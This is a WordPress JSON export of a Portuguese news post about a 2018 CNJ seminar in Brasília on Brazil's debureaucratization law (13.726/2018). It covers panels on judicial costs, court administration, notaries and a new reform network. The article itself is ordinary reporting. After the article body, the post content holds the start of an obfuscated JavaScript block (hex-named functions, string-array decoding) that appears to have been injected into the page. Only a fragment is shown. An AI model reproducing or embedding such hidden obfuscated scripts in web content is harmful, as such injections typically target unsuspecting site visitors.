{"id":484,"date":"2018-12-03T15:30:28","date_gmt":"2018-12-03T17:30:28","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/cnj-debate-a-desburocratizacao-do-poder-judiciaria-em-seminario-e-institui-a-rede-de-desburocratizacao-da-justica\/"},"modified":"2018-12-03T15:30:28","modified_gmt":"2018-12-03T17:30:28","slug":"cnj-debate-a-desburocratizacao-do-poder-judiciaria-em-seminario-e-institui-a-rede-de-desburocratizacao-da-justica","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/cnj-debate-a-desburocratizacao-do-poder-judiciaria-em-seminario-e-institui-a-rede-de-desburocratizacao-da-justica\/","title":{"rendered":"CNJ debate a desburocratiza\u00e7\u00e3o do Poder Judici\u00e1ria em semin\u00e1rio e institui a rede de desburocratiza\u00e7\u00e3o da Justi\u00e7a"},"content":{"rendered":"<div class=\"entry-content\">\n<p style=\"text-align: justify;\"><em>&nbsp;&nbsp;&nbsp;&nbsp; A rede trabalhar&aacute; em tr&ecirc;s eixos, processos judiciais, processos administrativos e extrajudicial e ter&aacute; como <\/em><em>objetivo ouvir, de maneira pr&aacute;tica, sugest&otilde;es de medidas eficientes voltadas para a simplifica&ccedil;&atilde;o de atos e procedimentos do Poder Judici&aacute;rio <\/em><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Bras&iacute;lia (DF)<\/strong> &ndash; O Conselho Nacional de Justi&ccedil;a reuniu, na quinta-feira (29.11), na sede o Tribunal Superior de Justi&ccedil;a (TST), representantes dos tribunais de justi&ccedil;a de todo Pa&iacute;s para debater a lei n&ordm; 13.726\/2018, conhecida como a Lei da Desburocratiza&ccedil;&atilde;o, durante o &ldquo;Semin&aacute;rio Desburocratiza&ccedil;&atilde;o do Poder Judici&aacute;rio&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ap&oacute;s abertura realizada pelo ministro Dias Toffoli, presidente do Superior Tribunal Federal (STF) e do Conselho Nacional de Justi&ccedil;a (CNJ), com participa&ccedil;&atilde;o do corregedor geral, ministro Humberto Martins, o semin&aacute;rio seguiu com pain&eacute;is que discutiram a&ccedil;&otilde;es para tornar o Poder Judici&aacute;rio menos burocr&aacute;tico e mais eficiente na presta&ccedil;&atilde;o de servi&ccedil;os ao cidad&atilde;o brasileiro.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O conselheiro do CNJ, Fernando Mattos, presidiu o primeiro painel chamado de <strong>&ldquo;Os custos sociais e econ&ocirc;micos da burocracia no Poder Judici&aacute;rio&rdquo; <\/strong>que contou com a presen&ccedil;a do Ministro do Planejamento, Esteves Pedro Colnago J&uacute;nior, e do senador Antonio Anastasia (PSDB\/MG).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O ministro do Planejamento apresentou iniciativas do Poder Executivo para ampliar o acesso &agrave; informa&ccedil;&atilde;o sobre a administra&ccedil;&atilde;o p&uacute;blica, como aplicativos com servi&ccedil;os p&uacute;blicos aos cidad&atilde;os e de pain&eacute;is de dados dispon&iacute;veis no portal do Minist&eacute;rio. Tamb&eacute;m comentou sobre a recente autoriza&ccedil;&atilde;o de permuta para pr&eacute;dios da Uni&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Existe um conjunto grande de im&oacute;veis da Uni&atilde;o. Registrados s&atilde;o mais de 650 mil im&oacute;veis; sem registro, talvez, o dobro disso, e gastamos R$ 1,4 bilh&atilde;o de aluguel por ano, enquanto isso temos a mir&iacute;ade de im&oacute;veis vazios. &Eacute; uma medida importante que serve n&atilde;o s&oacute; por&aacute; o Poder Executivo, mas tamb&eacute;m para todos os poderes. &Eacute; dif&iacute;cil caminhar, mas precisamos insistir nisso&rdquo;, comentou Colnago J&uacute;nior.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; o senador Anastasia destacou que o cidad&atilde;o brasileiro, em geral, v&ecirc; os processos do Poder Judici&aacute;rio como &ldquo;excessivamente burocr&aacute;ticos&rdquo;. O senador tamb&eacute;m comentou sobre a dif&iacute;cil quest&atilde;o da dispensa do reconhecimento de firma no Documento &Uacute;nico de Transfer&ecirc;ncia de ve&iacute;culos automotores.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Essa quest&atilde;o dos ve&iacute;culos virou um drama, pois h&aacute; um temor muito grande de fraudes. Um ve&iacute;culo &eacute; um bem de alto valor e que acaba sendo suscet&iacute;vel de uma tributa&ccedil;&atilde;o muito alta, de um custo muito alto. O alerta de que havia um conjunto de pessoas fraudando esse tipo de coisa foi feito, mas acredito que a sa&iacute;da, hoje, &eacute; uma informatiza&ccedil;&atilde;o muito aguda desses processos. A aus&ecirc;ncia da confian&ccedil;a encarece o processo, se conseguirmos colocar a confian&ccedil;a como regra geral, punindo, de maneira exemplar e r&aacute;pida os que agem de m&aacute; f&eacute;, e dando conhecimento dessa puni&ccedil;&atilde;o, teremos um custo, evidentemente, muito menor. S&oacute; que a nossa sociedade desconfia de todos e cria obst&aacute;culos para todos. Na quest&atilde;o dos autom&oacute;veis, se deixarmos, haver&aacute; um regramento cada vez maior em raz&atilde;o da a&ccedil;&atilde;o de poucos que agem de m&aacute; f&eacute; declarada&rdquo;, afirmou o senador.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; o conselheiro do CNJ, Fernando Mattos, destacou que o Poder Judici&aacute;rio sempre lidou com o excesso de trabalho da forma mais simples: mais cargos, mais estrutura, mais pessoal. &ldquo;Hoje n&atilde;o temos mais esse recurso material, e isso vai exigir que o poder judici&aacute;rio fa&ccedil;a uma reinven&ccedil;&atilde;o&rdquo;, ressaltou.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em entrevista ao site da Anoreg\/BR, Mattos afirmou que a Lei faz a desburocratiza&ccedil;&atilde;o avan&ccedil;ar, j&aacute; que vem dentro de um pacote bastante compreensivo de normas jur&iacute;dicas que est&atilde;o preocupadas com o custo da implementa&ccedil;&atilde;o do direito e da burocracia. &ldquo;A burocracia &eacute; muito importante, ou seja, o devido processo legal &eacute; muito importante, mas &eacute; preciso eliminar exig&ecirc;ncias que sejam eventualmente desnecess&aacute;rias&rdquo;, finalizou.<\/p>\n<p style=\"text-align: justify;\"><strong>Impactos da Lei 13.726\/2018 no processo judicial<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O jurista Luiz Rodrigues Wambier participou do painel &ldquo;Impactos da Lei 13.726\/2018 no processo judicial e pontos de congestionamento a serem trabalhados&rdquo;. Advogando h&aacute; 41 anos, ele ressaltou que desburocratizar n&atilde;o &eacute; eliminar os procedimentos, pois s&atilde;o eles que garantem o devido processo legal.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;A grande quest&atilde;o &eacute; que a carga burocr&aacute;tica que nos assola, faz do meio, que &eacute; o procedimento, mais relevante do que o fim, que &eacute; a obten&ccedil;&atilde;o de uma decis&atilde;o judicial ou administrativa&rdquo;, completou Wambier que criticou como o Poder Judici&aacute;rio se comunica com a popula&ccedil;&atilde;o, que, segundo ele, &eacute; sempre pela exce&ccedil;&atilde;o e n&atilde;o pela regra.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O advogado se referia ao fato de o processo atender ao tempo razo&aacute;vel. &ldquo;Do ponto de vista da efici&ecirc;ncia, o processo judicial brasileiro n&atilde;o pode ser criticado pelo tempo que dura em m&eacute;dia. Quem o faz, o faz por desinforma&ccedil;&atilde;o ou por m&aacute; vontade&rdquo;, completou o jurista.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O excesso de processos ajuizados pela administra&ccedil;&atilde;o p&uacute;blica tamb&eacute;m foi criticado por Wambier que afirmou que o grande gargalo do processo judicial n&atilde;o est&aacute; no processo judicial, mas sim na maior usu&aacute;ria, a administra&ccedil;&atilde;o p&uacute;blica.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Temos quest&otilde;es culturais, partimos da cultura da desconfian&ccedil;a, quando, na verdade, a boa f&eacute; se presume. Toda medida facilitadora depende de um componente psicol&oacute;gico que a lei n&atilde;o pode nos impor, a boa vontade, e essa boa vontade vem do di&aacute;logo. Cultura a lei n&atilde;o muda, mas pode ser um fator indutivo da sua mudan&ccedil;a e &eacute; nisso que temos que trabalhar&rdquo;, completou o jurista.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; o ministro do TST e conselheiro do CNJ, Aloysio Corr&ecirc;a da Veiga, que presidiu o painel, defendeu uma mudan&ccedil;a de paradigma para que a Lei possa prevalecer.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;H&aacute; um avan&ccedil;o no Estado, um aperfei&ccedil;oamento da nesse cen&aacute;rio. Hoje, ele deseja ser efetivo e atender ao usu&aacute;rio, n&atilde;o &eacute; poss&iacute;vel que a formalidade seja t&atilde;o absoluta que ela possa prevalecer sobre um fato. Se o usu&aacute;rio tem boa f&eacute;, &eacute;tica e lealdade para poder fazer afirma&ccedil;&otilde;es e n&atilde;o presumir que haja uma ilegalidade naquilo que ele diz, n&atilde;o h&aacute; motivo para n&atilde;o confiar nele&rdquo;, afirmou o ministro.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Sobre a aplicabilidade da Lei e a responsabiliza&ccedil;&atilde;o do servidor diante de uma fraude n&atilde;o detectada, Veiga esclareceu que a gest&atilde;o de pessoas hoje &eacute; um dos primados do setor p&uacute;blico, de um modo geral, e o poder p&uacute;blico, como um todo, vai continuar investindo na forma&ccedil;&atilde;o continuada do servidor.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;A fraude &eacute; um defeito da rela&ccedil;&atilde;o jur&iacute;dica e como defeito n&atilde;o pode ser regra geral. A n&atilde;o identifica&ccedil;&atilde;o de um ato desse logo de in&iacute;cio n&atilde;o &eacute; ind&iacute;cio de que o servidor esteja agindo de m&aacute; f&eacute;&rdquo;, completou o ministro. &nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Impactos na administra&ccedil;&atilde;o judicial<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O diretor executivo do Instituto Desburocratizar (iDESB), Daniel Bog&eacute;a, foi o primeiro a palestrar no painel &ldquo;Impactos da Lei 13.726\/2018 na administra&ccedil;&atilde;o judicial&rdquo;, que foi presidido pelo conselheiro do CNJ, Andr&eacute; Godinho, e teve a participa&ccedil;&atilde;o do diretor-geral do CNJ, Johaness Eck e da diretora de Contratos e Patrim&ocirc;nio do Tribunal de Justi&ccedil;a do Estado de S&atilde;o Paulo (TJ\/SP), Ana Lucia Negreiros.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Bog&eacute;a afirmou que o iDESB tem como objetivo principal fomentar a desburocratiza&ccedil;&atilde;o de fora (sociedade) para dentro (Governo) e que os advers&aacute;rios n&atilde;o est&atilde;o nas pessoas ou institui&ccedil;&atilde;o, mas sim na &ldquo;cultura da desconfian&ccedil;a&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;A lei tem uma import&acirc;ncia simb&oacute;lica muito grande por ser a primeira lei que se aplica de forma inequ&iacute;voca para todos os n&iacute;veis do Estado brasileiro. Ent&atilde;o, essa &eacute; uma lei que usa uma linguagem &uacute;nica para tratar do tema em todas as inst&acirc;ncias, tanto &eacute; que viemos aqui discutir o Judici&aacute;rio, que n&atilde;o &eacute; algo habitual nesse tema. Al&eacute;m disso, n&atilde;o tem muita coisa de novo, temos algumas ideias interessantes como o selo da desburocratiza&ccedil;&atilde;o, mas as obriga&ccedil;&otilde;es n&atilde;o s&atilde;o muito novas. Temos o decreto de 1979, que j&aacute; vedava a necessidade do reconhecimento de firma, mas que n&atilde;o deu certo por conta da cultura da desconfian&ccedil;a. A ideia &eacute; que com essa lei a desburocratiza&ccedil;&atilde;o se torne uma agenda permanente&rdquo;, disse Bog&eacute;a em entrevista &agrave; Anoreg\/BR.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; Ana Lucia Negreiros ressaltou que a inova&ccedil;&atilde;o tecnol&oacute;gica facilita, mas n&atilde;o &eacute; determinante para desburocratiza&ccedil;&atilde;o, pois &eacute; apenas um meio. &ldquo;Mesmo sem tecnologia &eacute; poss&iacute;vel desburocratizar&rdquo;, ressaltou a diretora do TJ\/SP.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O conselheiro do CNJ, Andr&eacute; Godinho, seguiu a mesma linha de racioc&iacute;nio de Negreiros e destacou que &ldquo;o di&aacute;logo &eacute; mais importante que a tecnologia para diminuir os processos burocr&aacute;ticos&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; o diretor-geral do CNJ comentou os entraves da contrata&ccedil;&atilde;o de servi&ccedil;os simples, como o fornecimento de materiais de limpeza para algum &oacute;rg&atilde;o do Judici&aacute;rio, onde o edital pode custar o triplo do valor real do servi&ccedil;o ou produtos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;Alguns dispositivos que hoje est&atilde;o na Lei da Desburocratiza&ccedil;&atilde;o j&aacute; apareciam antes, em forma de decreto. Mas agora, com a for&ccedil;a de lei, &eacute; esperado que se crie mais est&iacute;mulos e velocidade na implementa&ccedil;&atilde;o de medidas em busca da desburocratiza&ccedil;&atilde;o. A ideia desse processo de desburocratiza&ccedil;&atilde;o, coordenado pelo CNJ, &eacute; trabalhar com os v&aacute;rios &oacute;rg&atilde;os do judici&aacute;rio e tamb&eacute;m outros &oacute;rg&atilde;os e a sociedade, portanto, os cart&oacute;rios tamb&eacute;m est&atilde;o convidados para participar desse processo&rdquo;, afirmou Eck em entrevista &agrave; Anoreg\/BR.<\/p>\n<p style=\"text-align: justify;\"><strong>Foro Extrajudicial<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O setor extrajudicial teve um painel dedicado a ele durante o semin&aacute;rio. O titular do 1&ordm; Of&iacute;cio de Notas do N&uacute;cleo Bandeirante\/DF e membro da Associa&ccedil;&atilde;o de Not&aacute;rios e Registradores do Brasil (Anoreg\/BR) e do Conselho Fiscal do Col&eacute;gio Notarial do Brasil &ndash; Conselho Federal, H&eacute;rcules Alexandre da Costa Ben&iacute;cio, e o juiz auxiliar da Corregedoria Nacional, Alexandre Chini Neto, apresentaram a expertise dos not&aacute;rios e registradores na garantia de seguran&ccedil;a jur&iacute;dica e preven&ccedil;&atilde;o de conflitos. A presid&ecirc;ncia do painel foi do secret&aacute;rio-geral do CNJ, desembargador Carlos von Adamek.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;A possibilidade que os cart&oacute;rios t&ecirc;m de ampliarem a sua atividade para colaborar com o Poder Judici&aacute;rio, no desenvolvimento de uma presta&ccedil;&atilde;o de servi&ccedil;os melhores, &eacute; fant&aacute;stica com tudo que vem ocorrendo, como a resolu&ccedil;&atilde;o 125, que criou a pol&iacute;tica nacional de resolu&ccedil;&atilde;o de conflitos. O Poder Judici&aacute;rio precisa dos not&aacute;rios e registradores e de toda a articula&ccedil;&atilde;o pela extensa capilaridade. A fun&ccedil;&atilde;o notarial hoje est&aacute; mais ligada a desjudicializa&ccedil;&atilde;o e a jurisdi&ccedil;&atilde;o volunt&aacute;ria, como os div&oacute;rcios, invent&aacute;rio e partilha. Somente essa atividade tirou do Judici&aacute;rio dois milh&otilde;es de processos&rdquo;, disse Alexandre Chini.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; o desembargador Adamek, afirmou, durante o painel que &ldquo;desburocratizar n&atilde;o &eacute; afastar o servi&ccedil;o extrajudicial da vida do cidad&atilde;o, ao contr&aacute;rio, &eacute; integrar os servi&ccedil;os para melhor atendimento do usu&aacute;rio&rdquo;.<\/p>\n<p style=\"text-align: justify;\"><strong>Rede de desburocratiza&ccedil;&atilde;o da Justi&ccedil;a &eacute; articulada<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Na reuni&atilde;o de trabalho que encerrou o <strong>&ldquo;Semin&aacute;rio Desburocratiza&ccedil;&atilde;o do Poder Judici&aacute;rio&rdquo;<\/strong>, os integrantes do CNJ Richard Pae Kim, secret&aacute;rio especial de Programas, Pesquisas e Gest&atilde;o Estrat&eacute;gica do CNJ, e Carl Smith, juiz auxiliar e secret&aacute;rio adjunto da SEP\/CNJ, apresentaram a Rede de Desburocratiza&ccedil;&atilde;o da Justi&ccedil;a da qual far&atilde;o parte representantes dos Tribunais de Justi&ccedil;a de todo o Pa&iacute;s e tamb&eacute;m do foro extrajudicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Anunciada por Dias Toffoli, durante a abertura do evento, a Rede tem como objetivo ouvir, de maneira pr&aacute;tica, sugest&otilde;es dos tribunais de medidas eficientes voltadas para a simplifica&ccedil;&atilde;o de atos e procedimentos do Poder Judici&aacute;rio atrav&eacute;s das boas a&ccedil;&otilde;es dos gestores dos tribunais e tamb&eacute;m novas ideias.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &ldquo;A SEP, juntamente com o CNJ, vem com a miss&atilde;o de implementar a Lei da Desburocratiza&ccedil;&atilde;o em todo o poder judici&aacute;rio&rdquo;, afirmou Pae Kim. Ainda segundo o secret&aacute;rio especial, a rede trabalhar&aacute; em tr&ecirc;s eixos m&iacute;nimos: processos judiciais, processos administrativos e extrajudicial. &nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; De acordo com o secret&aacute;rio adjunto, Carl Smith, os planos dever&atilde;o ser apresentados no m&ecirc;s de abril de 2019 durante um encontro que ir&aacute; come&ccedil;ar a definir as melhores pr&aacute;ticas a serem implementadas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Smith ainda garantiu que as associa&ccedil;&otilde;es que representam o setor extrajudicial ser&atilde;o convidadas, assim como as corregedorias dos estados.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return 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